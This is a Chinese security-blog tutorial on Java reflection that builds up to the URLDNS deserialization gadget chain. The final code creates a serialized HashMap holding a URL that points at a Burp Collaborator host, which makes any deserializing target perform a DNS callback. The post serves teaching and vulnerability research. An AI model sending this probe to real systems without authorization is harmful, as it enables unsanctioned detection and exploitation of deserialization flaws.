反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
什么是反射
java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。
基本形式
public void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); }
public class Person {
private String name;
public int age;
public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
Class c = Class.forName("Person");
this.getClass().getClassLoader().loadClass("Person");
Constructor constructor = c.getConstructor(String.class,int.class); Person p1 = (Person) constructor.newInstance("abc",22);
我们来逐行写一下分析
Constructor constructor = c.getConstructor(String.class,int.class);
public Person(String name, int age) { this.name = name; this.age = age; }
Person p1 = (Person) constructor.newInstance("abc",22);
private String name; public int age;
public
Field ageField = c.getField("age"); ageField.set(p1,11);
private
Field nameField = c.getDeclaredField("name"); nameField.setAccessible(true); nameField.set(p1,"xinyuan");
因此,在这里我们可以验证一下我们上面的想法。
链子
这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法
HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法
public static void main(String[] args) throws Exception{
HashMaphashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在进行put方法传参之前修改URL对象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);
hashMap.put(u,123);
//修改URL对象的hashCode值为-1
hashcodeField.set(u,-1);
serialize(hashMap);
}
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/187255.html